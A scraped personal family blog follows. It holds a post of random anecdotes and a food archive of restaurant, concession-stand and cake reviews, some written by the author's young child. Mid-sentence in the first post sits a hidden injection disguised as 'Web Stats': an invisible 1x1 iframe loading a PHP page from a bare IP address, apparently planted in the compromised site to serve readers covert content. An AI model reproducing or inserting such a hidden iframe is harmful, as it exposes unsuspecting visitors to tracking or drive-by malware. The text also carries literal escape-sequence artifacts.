I know, it\’s been WAY too long since I\’ve written anything, and I don\’t have anything burning to write at the moment, so I decided I would just list some random pieces of information. This will be much like having a conversation with me.\r\n\r\nYesterday, Aaron said, One time, I put soap on my hand. That was comforting.\r\n\r\nIf you want to cut hot brownies, you can use a plastic knife and they don\’t stick to it.\r\n\r\nLevi had a root canal this morning and is currently sleeping it off. He\’s fine.\r\n\r\nI find rainy!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — days depressing.\r\n\r\nMy husband just drove our van through the front yard ???\r\n\r\nIf you dye your hair purple, a lot more people will talk to you.\r\n\r\nIf you dye your hair purple, your father will not approve.\r\n\r\nWind is air in motion.\r\n\r\nThere are squirrels living in our attic.\r\n\r\nOne time a squirrel ate my mom\’s 1970s rattan furniture. She chased it out the back door.\r\n\r\nThat was not nearly as bad as the time the skunk got in our basement and sprayed. \r\n\r\nNot long after the skunk incident, my grandfather gave my parents the two greatest cars Ford ever rolled off the line: a Pinto and an El Camino. \r\n\r\nYou can use a baseball field to prove the pythagorean theorem. \r\n\r\nMy dad used the El Camino to drag the baseball field.\r\n\r\nIf a baseball player throws his glove at a ball in play, the batter gets an automatic triple, unless the ball (and glove assumedly) both go over the fence in fair territory, then it\’s still a homerun and the player loses his glove.\r\n\r\nI used to be an umpire, and I never saw that happen.\r\n\r\nI\’m currently reading The Divine Conspiracy by Dallas Willard. It\’s very good and I highly recommend it.\r\n\r\nI\’m going to go see about my husband driving through the yard.\r\n\r\nLater Tater.
Archive for the ‘Food’ Category
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Tuesday, May 19th, 2009Soccer Concessions from the Lunchroom Bandit
Monday, November 10th, 2008Favorite Conuntion Food:
My favorite contion Food is muffins. They cost $1.75. There is two different kind of muffins. They are choclet chip and bluebarry. I like choclet chip because choclet is surgery and sweet. That is my favorite countion food a lake parker soccer club. —LRB
I agree, chocolate is like surgery, but without the pain and swelling 
—LD
School lunch review
Tuesday, October 21st, 2008I know this is the one you’ve all been waiting for. It’s the Lunchroom Bandit’s favorite school cafeteria lunch. And the winner is…
My favorite school food!
My favorite school food is…beef nachos. beef nachos is beef, cheese ,sour cream , salsa and lettuce. It is in a corn shell. Well that is my favorite school lunch.
Food Names
Wednesday, September 3rd, 2008I’ve been meaning for a while to make a list, for the record, of some of the food nicknames Aaron has given to his friends. It proves that I’m raising him to be just like his mom. These are all names he came up with and initially thought were the actual names of the people:
Grace = Grapes
Donna = Donut
Gretchen = Crunchin’
Joey = Jelly
Brad = Bread
So now you see, the apple doesn’t fall far from the tree
Cake and Ice Cream
Monday, July 14th, 2008The Lunchroom Bandit reviews a summer time favorite, while I discuss it’s favorite mate.
Ice Cream
Wow! This is my favorite ice-cream store is Baskin Robins! Well first they have a ice-cream that is called America’s Birthday cake. It’s vinila ice-cream blue frasting and sprenkls in it. Next they have a ice-cream that is called tropicol ice. It tasty like tropicol fruit and fruit punch. Last I have another favorite ice-cream store Clumpies Ice-cream Co*. My favorite ice-cream is pop rock. It is blue ice-cream with pop rocks on it. And those are my favorite ice-cream store and ice-cream.
—LRB
*Clumpies is located on Frazier Ave. in Chattanooga, TN. If you go, say “hi” to Anthony.
Cake
Mmmm. I love cake. I love to make cake and I love to eat cake, with ice cream, of course. So here is a pictorial history of some of my most memorable cakes. (well, the ones I’ve captured in digital form, that is.)
First up, the kidney cake of 2006. This was made by our dear friend Mo to celebrate the anniversary of Will’s kidney transplant. (Grandma Kathy was his kidney donor). It says “Yipee! It’s your anniversary. I love you Will” And yes, it is in the shape of a kidney and yes, that’s a red licorice ureter. I haven’t asked Mo if she’s ever done any other organs, or perhaps armadillos???
Next we have the Barbie cake I made for Mo’s birthday a year and a half earlier. She said she’d always wanted one when she was a little girl and I figured, who says you have to be a little girl to get a Barbie cake?!
Here is the birthday cake I made for Will and Aaron this year while we were in Kentucky. I did not have all my cake-makin’ stuff available, but it didn’t matter because it had “Wightming Naqueen” on it, and that was all that was necessary to make my boys happy.
And finally, here is the cake I made (at home with all my cake makin’ stuff) for our friend Stephen’s 7th birthday. He loves gummy worms, so, if you look closely, you can see that they are crawling out the sides of the cake. F.M. admitted later to me that this kind of grossed him out. Ha!!! I was really proud of this cake, I should consult the Lunchroom Bandit for the perfect ice cream to accompany it.
—L.D.
Concession Stands
Monday, June 16th, 2008As is fitting for the season, the Lunchroom Bandit decided to review her two favorite concession stands. Unfortunately, I haven’t had much concession stand experience lately, but with 3 small boys, I’m sure those days are just around the corner. However, I do remember two of my favorite concession stand experiences. One was in San Juan, Puerto Rico, where the concession stand was more like a walk-up cafeteria. You could get a quarter of a chicken for 75 cents. This was at a youth-league baseball game. They had fresh bread and soup and all kinds of homemade food. It was a welcome change from plastic cheese nachos and stale popcorn. My other fondest concession stand memory was in my home town of Paducah, Kentucky where my father coached a baseball team. When I was a kid, Jim and Peggy ran the concession stand and Peggy made burgers on a griddle in the back. My sister and I called them “Peggy Burgers.” They were smooshed flat and probably grade C meat, but we thought they were the BEST! After Peggy and Jim retired from the lucrative business of selling concessions at youth baseball games, my mom had to take it over. In addition to being “team mom”, our mom, the coach’s wife, and the statistician, she also got the privilege of running the concession stand. Peggy burgers were no more. My mom made hot dogs in a crock pot and stopped the sale of bubble gum because she had stepped in it and sat in it too many times. (As a school teacher, she had a natural disdain for Super Bubble.) My mom had no love for the sales of concessions, and it showed (sorry Mom, I know you’re one of the three people who actually read my blog). On the upside, my sister and I got to work in the concession stand, which we considered great fun, almost as much fun as eating a Peggy Burger.
–L.D.
At tea ball they have: hotdogs, candy pizza, boiled peanuts, hamburgers, and soda. At soccer they have . . . tea, air heads, and hot chocolate. Those two concessions are my favorite food stands. The End.
–L.B.
Introducing: The Lunchroom Bandit
Wednesday, May 28th, 2008The Lunchroom Bandit and I are going to tell you about two of our favorite restaurants:
Olive Garden: I am going to tell you about my favorite restaurant. First they have great bred sticks. Next they have awesome salad. Then they have yummy pasta. Now dilishes soup. Last they have terifec chicken. That is my favorite restaurant!
–L.B.
La Choza: Rarely do I think about a meal I ate in a past decade. Ok, it happens occasionally, and it’s always the same one. Sometime around May of 1993, I ate a grilled shrimp dish with creamed jalepeno and garlic butter sauces. The jalepeno sauce was not spicy, just marvelous in every way. The shrimp were ginormous (to quote “Elf”) and whatever else was on the plate was simply bowing towards the shrimp and sauces as if to say “we’re not worthy.” The unfortunate thing for me is that this restaurant is in Cozumel, Mexico and I am very much NOT in Cozumel. So if you ever go to Cozumel, you must go to La Choza and order this dish. But be warned, the succulent flavors will stalk you for the rest of your life.
–L.D.
Mmmm Good!
Wednesday, May 28th, 2008Well, everyone knows I’m a foodie so I decided it would be appropriate to start a section of my blog on favorite foods, restaurants, recipes, etc. To make it more interesting, I decided to invite a fellow foodie to join me. Her blog name is “The Lunchroom Bandit” but you should know that she is the greatest aficionado of food McKeel Elementary has ever known. In our first posting, we will discuss our favorite restaurants. Hope you all enjoy!
Banned substances
Wednesday, December 19th, 2007There’s been a lot in the news recently about the use of banned substances. I can sympathize with some of the athletes who’ve been disqualified from sporting events for their use because I too was once disqualified from an event for the use of banned substances. I know, this is a shock to many of you. It was back in the early 80′s. The banned substances were Cool Whip and Jell-o. The event was the Brownie Scout No-Bake Contest. It was rather humiliating and I don’t much like to talk about it, but I was afraid this info would be released in some Congressional report, and I figured I should come clean while I had the chance. I had a great recipe and I was really proud of it. The judges asked me the ingredients and I rattled them off perfectly, almost song-like. Little did I know that Cool Whip and Jell-o were the cream and the clear of the Brownie Scout No-Bake Contest. I guess it says something for reading the rules. I’ve since tried to redeem myself with legitimate no-bake recipes. (I like to bake as well.) A few years back I was all set to enter a peanut butter pie in a pie contest for church. I made two pies because I was so sure it would be a hit. The event got rained out and I was unable to claw my way back to dignity in the culinary contest arena. Tomorrow though, I am making all the desserts for the staff Christmas party. This is my time to shine! On the menu we have peanut butter pie, pecan cranberry pie, and hot fudge cake. Not on the menu: Cool Whip and Jell-o.
Quick Tip
Sunday, October 21st, 2007Don’t ever get lactose free milk.